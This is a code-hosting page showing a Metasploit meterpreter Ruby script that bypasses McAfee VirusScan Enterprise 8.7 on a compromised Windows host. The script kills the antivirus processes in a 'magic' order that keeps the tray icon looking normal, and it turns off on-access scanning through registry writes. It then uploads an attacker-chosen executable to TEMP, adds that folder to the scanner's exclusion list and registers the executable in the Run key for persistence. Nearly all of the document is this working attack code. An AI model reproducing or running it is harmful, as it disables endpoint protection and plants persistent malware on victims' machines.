Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/virusscan_bypass.rb
Views: 11767
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic8# order which keeps VirusScan icon visible at system tray without disabled sign on it.9# Additionally it lets you disable On Access Scanner from registry, upload your detectable10# binary to TEMP folder, add that folder to the VirusScan exclusion list and CurrentVersion\Run11# registry key. (Requires administrator privilege. Tested on XP SP3)12#13# Credits: hdm, jduck, Jerome Athias (borrowed some of their codes)14#15# Provided by: Mert SARICA - mert.sarica [@] gmail.com - http://www.mertsarica.com1617session = client18@@exec_opts = Rex::Parser::Arguments.new(19"-h" => [ false,"Help menu." ],20"-k" => [ false,"Only kills VirusScan processes"],21"-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ]22)2324################## function declaration Declarations ##################25def usage()26print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com"27print_line "----------------------------------------------------------------------------------------------"28print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it"29print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)"30print_line "----------------------------------------------------------------------------------------------"31print_line(@@exec_opts.usage)32end3334@path = ""35@location = ""3637def upload(session,file,trgloc)38if not ::File.exist?(file)39raise "File to Upload does not exist!"40else41@location = session.sys.config.getenv('TEMP')42begin43ext = file.scan(/\S*(.exe)/i)44if ext.join == ".exe"45fileontrgt = "#{@location}\\MS#{rand(100)}.exe"46else47fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}"48end49@path = fileontrgt50print_status("Uploading #{file}....")51session.fs.file.upload_file("#{fileontrgt}","#{file}")52print_status("Uploaded as #{fileontrgt}")53rescue ::Exception => e54print_status("Error uploading file #{file}: #{e.class} #{e}")55end56end57return fileontrgt58end5960#parsing of Options61file = ""62helpcall = 063killonly = 064@@exec_opts.parse(args) { |opt, idx, val|65case opt66when "-e"67file = val || ""68when "-h"69helpcall = 170when "-k"71killonly = 172end7374}7576if killonly == 077if file == ""78usage79raise Rex::Script::Completed80end81end8283# Magic kill order :)84avs = %W{85shstat.exe86engineserver.exe87frameworkservice.exe88naprdmgr.exe89mctray.exe90mfeann.exe91vstskmgr.exe92mcshield.exe93}9495av = 09697plist = client.sys.process.get_processes()98plist.each do |x|99if (avs.index(x['name'].downcase))100av = av + 1101end102end103104105if av > 6106print_status("VirusScan Enterprise v8.7.0i+ is running...")107else108print_status("VirusScan Enterprise v8.7.0i+ is not running!")109raise Rex::Script::Completed110end111112target_pid = nil113target ||= "mfevtps.exe"114115print_status("Migrating to #{target}...")116117# Get the target process pid118target_pid = client.sys.process[target]119120if not target_pid121print_error("Could not access the target process")122raise Rex::Script::Completed123end124125print_status("Migrating into process ID #{target_pid}")126client.core.migrate(target_pid)127128target_pid = nil129130if killonly == 1131avs.each do |x|132# Get the target process pid133target_pid = client.sys.process[x]134print_status("Killing off #{x}...")135client.sys.process.kill(target_pid)136end137else138avs.each do |x|139# Get the target process pid140target_pid = client.sys.process[x]141print_status("Killing off #{x}...")142client.sys.process.kill(target_pid)143end144145# Upload it146exec = upload(session,file,"")147148# Initiailze vars149key = nil150value = nil151data = nil152type = nil153154# Mcafee registry key155key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default'156157# Split the key into its parts158root_key, base_key = client.sys.registry.splitkey(key)159160# Disable when writing to disk option161value = "bScanIncoming"162data = 0163type = "REG_DWORD"164open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)165open_key.set_value(value, client.sys.registry.type2str(type), data)166print_status("Successful set #{key} -> #{value} to #{data}.")167168# Disable when reading from disk option169value = "bScanOutgoing"170data = 0171type = "REG_DWORD"172open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)173open_key.set_value(value, client.sys.registry.type2str(type), data)174print_status("Successful set #{key} -> #{value} to #{data}.")175176# Disable detection of unwanted programs177value = "ApplyNVP"178data = 0179type = "REG_DWORD"180open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)181open_key.set_value(value, client.sys.registry.type2str(type), data)182print_status("Successful set #{key} -> #{value} to #{data}.")183184# Increase the number of excluded items185value = "NumExcludeItems"186data = 1187type = "REG_DWORD"188open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)189open_key.set_value(value, client.sys.registry.type2str(type), data)190print_status("Successful set #{key} -> #{value} to #{data}.")191192# Add executable to excluded item folder193value = "ExcludedItem_0"194data = "3|3|" + @location195type = "REG_SZ"196open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)197open_key.set_value(value, client.sys.registry.type2str(type), data)198print_status("Successful set #{key} -> #{value} to #{data}.")199200# Set registry to run executable at startup201key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'202# Split the key into its parts203root_key, base_key = client.sys.registry.splitkey(key)204value = "MS"205data = @path206open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)207open_key.set_value(value, client.sys.registry.type2str(type), data)208print_status("Successful set #{key} -> #{value} to #{data}.")209end210211print_status("Finished!")212213214